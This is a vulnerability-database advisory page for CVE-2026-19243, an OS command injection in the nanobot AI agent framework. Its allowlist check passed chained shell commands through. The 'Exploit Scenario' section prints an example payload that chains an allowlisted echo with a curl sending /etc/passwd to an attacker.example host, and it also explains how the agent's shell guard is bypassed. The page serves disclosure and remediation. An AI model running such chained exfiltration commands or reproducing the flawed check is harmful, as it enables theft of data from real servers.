Skip to main content

nanobot EUVDEUVD-2026-54617

| CVE-2026-19243 LOW
OS Command Injection (CWE-78)
2026-08-07 VulDB GHSA-m259-67hc-p7v5
2.1
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to nanobot API with low-privilege credentials
  2. Delivery
    Enumerate or infer configured shell allow patterns
  3. Exploit
    Craft chained command with allowlisted prefix segment
  4. Execution
    Submit crafted command via ExecTool API endpoint
  5. Persist
    Single-segment regex check passes full command
  6. Impact
    Arbitrary OS command executes on server host

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires low-privilege authenticated access (PR:L per CVSS 4.0 vector) to the nanobot API or agent interface that exposes ExecTool shell invocation. The shell command allowlist feature (allow_patterns) must be configured with at least one pattern - if no allow patterns are defined, the allowlist bypass path is not accessible. An attacker must be able to supply a crafted command string where the first shell segment matches a configured allow pattern and subsequent segments chained via &&, ||, ;, |, or & contain arbitrary OS commands. No user interaction beyond the attacker's own authenticated API call is required. Exploitation is bounded by the OS-level permissions of the nanobot process; no scope change to other systems is indicated in the CVSS metrics. Non-default configuration required: the allow_patterns feature must be enabled and at least one exploitable pattern must be present.

Impact

The CVSS 4.0 base score of 5.3 (Medium) with vector AV:N/AC:L/AT:N/PR:L/UI:N reflects network reachability and low attack complexity, moderated by a required low-privilege authentication and constrained impact (VC:L/VI:L/VA:L with no subsequent-system impact). The E:P exploit maturity modifier confirms a public POC exists, raising the effective exploitability beyond the base score. The vulnerability is absent from CISA KEV, so confirmed active exploitation at scale is not established. EPSS data was not provided in source intelligence, leaving probabilistic exploitation likelihood unquantified. Real-world risk is deployment-context dependent: nanobot deployments that expose the shell tool via an API accessible to partially-trusted users, external agents, or multi-tenant environments face direct and realistic exploitation. Deployments where nanobot runs in isolated containers with minimal OS privileges significantly limit blast radius. The combination of network attack vector, low complexity, public exploit, and no user interaction makes this a genuine remediation priority for any team running nanobot in an API-exposed configuration, despite the medium CVSS base score.

Exploit ScenarioDerived

An authenticated low-privileged user or agent with access to nanobot's shell API submits a crafted command such as echo allowlisted && curl http://attacker.example/exfil?d=$(cat /etc/passwd) where echo allowlisted matches a configured allow pattern. The unpatched _guard_command validates only the full string against the pattern, passes it, and the shell executes both the benign echo and the malicious curl exfiltration. A public POC demonstrating this technique is available at https://gist.github.com/YLChen-007/8fcbf8e49e7be568e1a92e9e0414fdba.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 1.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 07, 2026

OS command injection in HKUDS nanobot 0.2.0 and 0.2.1 allows a low-privileged remote attacker to bypass the configured shell command allowlist by submitting chained shell commands using operators such as &&, ||, ;, |, or &. The ExecTool._guard_command method in shell.py validated the entire raw command string as a single unit against allow patterns, meaning only the first chained segment needed to match - subsequent malicious segments executed unchecked. A public proof-of-concept exploit exists; the vulnerability is not listed in CISA KEV but the CVSS 4.0 E:P modifier confirms publicly available exploit code elevates urgency beyond the base score of 5.3.

RemediationAI

Upgrade nanobot to version 0.3.0, confirmed available at https://github.com/HKUDS/nanobot/releases/tag/v0.3.0. The patch in PR #4562 resolves the root cause by introducing a _split_shell_segments parser that tokenizes commands at top-level chain operators (&&, ||, ;, |, &) while correctly handling quoted strings and parenthesized subshells, then requires every parsed segment to match a configured allow pattern via all(any(...)) rather than the previous any() against the raw string. If immediate upgrade is not feasible, restrict invocation of the ExecTool shell capability to fully-trusted internal callers only by tightening API authentication and authorization controls - note this does not fix the underlying bypass but reduces exposure surface. Alternatively, disable the shell tool entirely in agent configurations where it is not operationally required; nanobot supports selective tool enablement. Narrowing allow patterns to commands with no meaningful prefix (i.e., patterns that cannot realistically precede a chain operator in a valid use case) may reduce exploitability but is not a reliable fix given the multiple bypass variants reported.

Affected VersionsENISA

nanobot 0.2.0
nanobot 0.2.1

Affected Packages

euvd nanobot no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

nanobot is an AI agent orchestration framework by HKUDS that exposes a shell execution capability via ExecTool, governed by a configurable allow_patterns list intended to restrict which OS commands agents may invoke. The vulnerable logic in _guard_command applied re.fullmatch against allow patterns to the full raw command string rather than parsing it into discrete shell segments first. Because shell interpreters process chaining operators (&&, ||, ;, |, &) as command delimiters, an attacker could prepend an allowlisted command followed by a malicious one - the regex would match the allowlisted prefix and pass the full string to execution. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) is the precise root cause class: user-controlled input reaches a shell interpreter without complete sanitization of all logical command units. CPE cpe:2.3:a:hkuds:nanobot:*:*:*:*:*:*:*:* covers affected versions through 0.2.1. The fix in PR #4562 introduces _split_shell_segments, a stateful parser that correctly handles quoted strings, parentheses, and escape sequences to split commands at top-level chain operators, then requires all resulting segments to individually match a configured allow pattern.

Know when Nanobot gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
vuln.today AI 6.3 MEDIUM

Network-reachable API requires low-privilege authentication; limited C/I/A and unchanged scope reflect partial OS command impact confined to the vulnerable nanobot host.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Severity Changed
Aug 07, 2026 - 20:22 NVD
MEDIUM LOW
CVSS changed
Aug 07, 2026 - 20:22 NVD
5.3 (MEDIUM) 2.1 (LOW)
CVE Published
Aug 07, 2026 - 19:30 cve.org
MEDIUM 5.3

DescriptionCVE.org

A security vulnerability has been detected in HKUDS nanobot up to 0.2.1. Impacted is the function ExecTool._guard_command/ExecTool._spawn of the file nanobot/agent/tools/shell.py of the component Shell Allowlist Handler. Such manipulation leads to os command injection. The attack can be executed remotely. The exploit has been disclosed publicly and may be used. Upgrading to version 0.3.0 is recommended to address this issue. The name of the patch is 4562. It is advisable to upgrade the affected component. Multiple issues were reported to the project. They reacted with a high level of professionalism and kindness: "These five reports are variants of the same root cause: validation of shell commands containing multiple segments, wrappers, comments, or chained commands. The issue was fixed by validating every executable shell segment against the configured allowlist".

Threat Intelligence Overview

EPSS Score
1.6%
Top 26% exploitable
Prevalence
Rare
niche AI agent framework, limited documented enterprise footprint
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 1.6%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: +2
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-35589 CRITICAL
9.3 Apr 14

Cross-Site WebSocket Hijacking in nanobot personal AI assistant (versions before 0.1.5) allows remote websites to establ

CVE-2026-137463 CRITICAL
9.1 Nov 26

Man-in-the-middle interception of HKUDS nanobot's OpenAI Codex provider traffic in versions 0.1.4 through 0.4.0 can hand

CVE-2026-33654 HIGH
8.9 Mar 27

Remote code execution in nanobot personal AI assistant (versions prior to 0.1.6) allows unauthenticated attackers to exe

CVE-2026-48716 HIGH
8.7 Jun 18

Arbitrary file write in HKUDS Nanobot's WhatsApp bridge (versions 0.1.5.post3 and prior) allows remote unauthenticated a

CVE-2026-121864 HIGH
7.7 Nov 17

Sandbox escape in nanobot-ai 0.2.1 through 0.4.0 allows a low-privileged attacker who can drive the agent to induce crea

CVE-2026-121865 HIGH
7.2 Nov 17

Authenticated workspace boundary escape in nanobot-ai 0.3.5 through 0.4.0 lets a standard WebSocket client holding a val

CVE-2026-49139 HIGH
7.0 Jun 01

Server-side request forgery in Nanobot (HKUDS) prior to 0.2.1 lets unauthenticated remote attackers exfiltrate Microsoft

CVE-2026-90809 MEDIUM
6.9 Sep 14

Argument injection in HKUDS nanobot's ExecTool shell execution guard allows remote unauthenticated attackers to bypass t

CVE-2026-19246 LOW POC
2.1 Aug 07

Server-side request forgery in HKUDS nanobot up to 0.2.1 allows authenticated remote attackers to make the server issue

CVE-2026-19244 LOW POC
2.0 Aug 07

MCP resource and prompt wrappers in HKUDS nanobot 0.2.0 and 0.2.1 bypass operator-defined `enabledTools` access restrict

CVE-2026-19245 LOW POC
1.9 Aug 07

Login-shell environment variable leakage in HKUDS nanobot up to 0.2.1 exposes sensitive environment variables to local l

CVE-2026-49140 MEDIUM
5.3 Jun 01

Nanobot's Matrix channel media download handler exhausts process memory and bandwidth when authenticated room members su

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy